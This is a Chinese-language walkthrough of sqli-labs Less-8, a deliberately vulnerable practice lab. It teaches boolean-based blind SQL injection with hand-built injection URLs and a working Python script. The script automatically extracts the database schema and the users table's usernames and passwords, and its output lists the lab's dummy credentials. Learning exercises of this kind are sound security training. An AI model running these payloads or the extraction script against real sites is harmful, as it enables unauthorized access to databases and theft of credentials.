sqli-labs系列——Less-8

摘要

本文主要介绍了如何利用布尔型盲注进行 SQL 注入攻击，并使用 Python 脚本进行自动化渗透。通过逐步推断数据库名、表名、字段名等信息，最终成功获取了用户表中的用户名和密码。文章详细介绍了布尔型盲注的原理和使用方法，同时提供了 Python 脚本实现的代码，方便读者进行实践和学习。

前言

这关主要给大家讲解布尔型盲注知识点

各参数含义

1. 布尔型盲注 length() 函数 返回字符串的长度 substr() 截取字符串 （语法:SUBSTR(str,pos,len);） ascii() 返回字符的ascii码 [将字符变为数字wei]
2. 时间型 sleep() 将程序挂起一段时间n为n秒 if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

开启phpstudy，开启apache服务以及mysql服务

实验环节

浏览器访问Less-8

http://127.0.0.1/sqli-labs-master/Less-8/

判断是否存在注入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1
#根据图片显示存在sql注入

判断库名长度

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database()))>7 -- xz
#>7页面返回正常
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database()))>8 -- xz
#>8页面显示异常
#所以正确库名长度就是等于8
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database()))=8 -- xz

利用ASCII码猜解当前数据库名称

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 -- xz
#其中database()后面的1代表通过ascii编码查看数据库第一个字母，通过结果可以看出数据库的第一位是s
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 -- xz
#2代表第二位，通过结果可以看出数据库的第二位是e
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),3,1)))=99 -- xz
#通过结果可以看出数据库的第二位是c
....以此类推综合得出数据库名是security

如何查看

首先根大于一个整数来推断具体数值，当大于某个数值出错后，输入等于那个数值页面显示正常，就可以百度搜索ascii，点击菜鸟教程查看ascii表，查看数值对应的字符

判断表名

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 -- xz
#通过逐步推断得出，当数值等于101时，页面显示正常，由此可以得出数据表名的第一个的第一位是e
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))=109 -- xz
#通过逐步推断得出，当数值等于109时，页面显示正常，由此可以得出数据表名的第一个的第二位是m
........后面以此类推，根据前面的答题结果知道em开头的数据表应该就是emails
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 -- xz
#回显正常，第二个数据表名的第一位是r
#limit 1,1代表第二个数据表名，以此类推，2,1则是第三个

判断字段名

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 -- xz
#回显正常，说明emails表中的列名第一位是i，以此类推

这就是sql注入中的布尔型盲注，虽然过程比较繁琐，但是结果非常精准，推荐使用

使用python脚本做题

代码如下

import requests
import string

url = 'http://192.168.199.134/sqli-labs-master/Less-8/'

i = 0
db_name_len = 0
print('[+]正在猜解数据库长度......')
while True:
    payload = url + "?id=1'and length(database())=%d--+" % i
    res = requests.get(payload)
    # print(payload)
    if 'You are in...........' in res.text:
        db_name_len = i
        print('数据库长度为:' + str(db_name_len))
        break
    if i == 30:
        print('error!')
        break
    i += 1

print("[+]正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):
    # print(i)
    for k in string.ascii_lowercase:
        # print(k)
        payload = url + "?id=1'and substr(database(),%d,1)='%s'--+" % (i, k)
        res = requests.get(payload)
        # print(payload)
        if 'You are in...........' in res.text:
            db_name += k
            # print(db_name)
            break
print("数据库为: %s" % db_name)

# 猜解几张表
print("[+]正在猜解表的数量......")
tab_num = 0
while True:
    payload = url + "?id=1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num
    res = requests.get(payload)
    if 'You are in...........' in res.text:
        print("%s数据库共有" % db_name + str(tab_num) + "张表")
        break
    else:
        tab_num += 1

print("[+]开始猜解表名......")
for i in range(1, tab_num + 1):
    tab_len = 0
    while True:
        payload = url + "?id=1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (
        i - 1, tab_len)
        res = requests.get(payload)
        # print(payload)
        if 'You are in...........' in res.text:
            # print ('第%d张表长度为:'%i+str(tab_len))
            break
        if tab_len == 30:
            print('error!')
            break
        tab_len += 1
    tab_name = ''
    for j in range(1, tab_len + 1):
        for m in string.ascii_lowercase:
            payload = url + "?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (
            i - 1, j, m)
            res = requests.get(payload)
            if 'You are in...........' in res.text:
                tab_name += m
                # print (tab_name)
    print("[-]第%d张表名为: %s" % (i, tab_name))
    # 尝试猜解表下字段......
    dump_num = 0
    while True:
        payload = url + "?id=1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (
        tab_name, dump_num)
        res = requests.get(payload)
        if 'You are in...........' in res.text:
            print("%s表下有%d个字段" % (tab_name, dump_num))
            break
        dump_num += 1

    for a in range(1, dump_num + 1):
        dump_len = 0
        while True:
            payload = url + "?id=1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (
            tab_name, a - 1, dump_len)
            res = requests.get(payload)
            # print(payload)
            if 'You are in...........' in res.text:
                # print("第%d个字段长度为%d"%(a,dump_len))
                break
            dump_len += 1
            if dump_len == 30:
                print("error!!")
                break
        dump_name = ''
        for i in range(1, dump_len + 1):
            for j in (string.ascii_lowercase + '_-'):
                payload = url + "?id=1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (
                tab_name, a - 1, i, j)
                res = requests.get(payload)
                if 'You are in...........' in res.text:
                    dump_name += j
                    # print(dump_name)
                    break
        print(dump_name)
print("[+]开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
    payload = url + "?id=1'and (select count(username) from security.users)=%d--+" % usn_num
    res = requests.get(payload)
    if "You are in" in res.text:
        # print(usn_num)#13
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = url + "?id=1'and (select length(username) from security.users limit %d,1)=%d--+" % (i - 1, usn_len)
        res = requests.get(payload)
        if "You are in" in res.text:
            # print("第%d的长度为%d"%(i,usn_len))
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = url + "?id=1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (
            i - 1, k, m)
            res = requests.get(payload)
            if "You are in" in res.text:
                usr_name += m
                break
    print(usr_name)

print("[+]开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
    payload = url + "?id=1'and (select count(password) from security.users)=%d--+" % usn_num
    res = requests.get(payload)
    if "You are in" in res.text:
        # print(usn_num)#13
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = url + "?id=1'and (select length(password) from security.users limit %d,1)=%d--+" % (i - 1, usn_len)
        res = requests.get(payload)
        if "You are in" in res.text:
            # print("第%d的长度为%d"%(i,usn_len))
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = url + "?id=1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (
            i - 1, k, m)
            res = requests.get(payload)
            if "You are in" in res.text:
                usr_name += m
                break
    print(usr_name)

解题结果

D:\pythonProject\my_pythonProject\Scripts\python.exe D:\pythonProject\main.py 
[+]正在猜解数据库长度......
数据库长度为:8
[+]正在猜解数据库名字......
数据库为: security
[+]正在猜解表的数量......
security数据库共有4张表
[+]开始猜解表名......
[-]第1张表名为: emails
emails表下有2个字段
id
email_id
[-]第2张表名为: referers
referers表下有3个字段
id
referer
ip_address
[-]第3张表名为: uagents
uagents表下有4个字段
id
uagent
ip_address
username
[-]第4张表名为: users
users表下有6个字段
user
current_connections
total_connections
id
username
password
[+]开始猜解users表下的username......
dumb
angelina
dummy
secure
stupid
superman
batman
admin
admin1
admin2
admin3
dhakkan
admin4
[+]开始猜解users表下的password......
dumb
i-kill-you
p@ssword
crappy
stupidity
genious
mob!le
admin
admin1
admin2
admin3
dumbo
admin4

进程已结束,退出代码0